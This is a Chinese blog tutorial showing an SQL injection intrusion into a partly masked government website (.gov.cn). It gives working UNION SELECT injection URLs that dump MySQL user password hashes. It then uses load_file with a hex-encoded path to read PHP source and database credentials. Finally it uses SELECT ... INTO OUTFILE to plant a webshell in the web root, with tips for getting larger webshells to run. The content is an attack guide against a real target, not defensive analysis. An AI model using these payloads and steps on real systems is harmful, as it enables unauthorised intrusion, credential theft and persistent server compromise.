- A+
显示不全请点击全屏阅读
教程实例一枚,直接切入.
http://www.***.gov.cn/gzdt_read.php?id=85加引号
出现如下字样:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\***\gzdt_read.php on line 29
look,这是什么?文件在服务器上的物理路径
那么我们来看一下php+MySql注入的稍微高级一丁点的用法,那就是load_file
load_file就是,加载文件呗!我们可以通过load_file查看网站的MySql配置信息
下一步就是看显示位,得到是8,2号显示位是标题处
后台显然是跟前面都一样的,估计上传目录肯定也做了执行权限,那么,找MySql数据库的账户密码
方法有两张
1.从数据库爆 or 2.从文件爆
数据库爆很简单,MySql数据库的user字段
http://www.***.gov.cn/gzdt_read.php?id=85+and+1=2+union+select+1,concat(user,0x5f,password),3,4,5,6,7,8+from+mysql.user
409800db_7819157c663cb79f
用户名为409800db密码加密后为7819157c663cb79版本为4
显然这个MySql加密解不开
那么采用第二种方法,直接load_file看配置文件
之前看到网站文件物理路径为:
D:\***\gzdt_read.php
那么对其进行hex取值,也就是取它的16位编码:
0x443A5C6864676C5C677A64745F726561642E706870
load_file在注入里的用法是:
+union+select+1,2,3,hex(load_file(路径的hex值)),5,6,7…,8
用法不唯一,这是其中一个
当然,这个注入语句的后面你愿意加个from+admin随便你,我选的是4号显示位
得到最终的load_file注入语句就是:
http://www.***.gov.cn/gzdt_read.php?id=85+and+1=2+union+select+1,concat(user,0x5f,password),3,hex(load_file(0x443A5C6864676C5C677A64745F726561642E706870)),5,6,7,8+from+mysql.user
好了,这下看源代码:
这些就是gzdt_read.php这个文件原始的代码经过hex取值后的东西
复制后打开WinHex,复制粘帖进去,格式选择:ASCII HEX
得到数据库连接信息:
$host=”localhost”;
$user=”jacky”;
$pass=”和谐”;
亮点在这里:
function to_html($str){
$str=str_replace(chr(13),”<br>”,str_replace(chr(32),” ”,htmlspecialchars($str)));
return $str;
}
这就是传说中的过滤不严
Ps:前面数据库中爆出的用户跟这个不一样说明数据库有多个管理账户呗!
使用工具进行MySql连接,建表,写入webshell代码:
create table test (a text);
然后执行MySql语句:
select a from mysql.test into outfile ‘D:\\***\\atesttest.php’;
输出到刚才的路径即可.瞧,我们的马儿出现了.
Ps:重新看下写入的webshell的源码,每一个空行都多了一个\n对不?
所以出现了错误
Warning: Unexpected character in input: ‘\’ (ASCII=92) state=1
这是因为MySql输出文件时,咱们平日用的回车他都会自动在上面\n最为咱们用的回车.所以一般直接写webshell都是写一句话,很少写大马,因为大马写出来常常不好用,就因为多了个\n。解决方法就是在大马那上面每行结尾加个/*每行开头加个*/注释掉这个\n再写大马
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡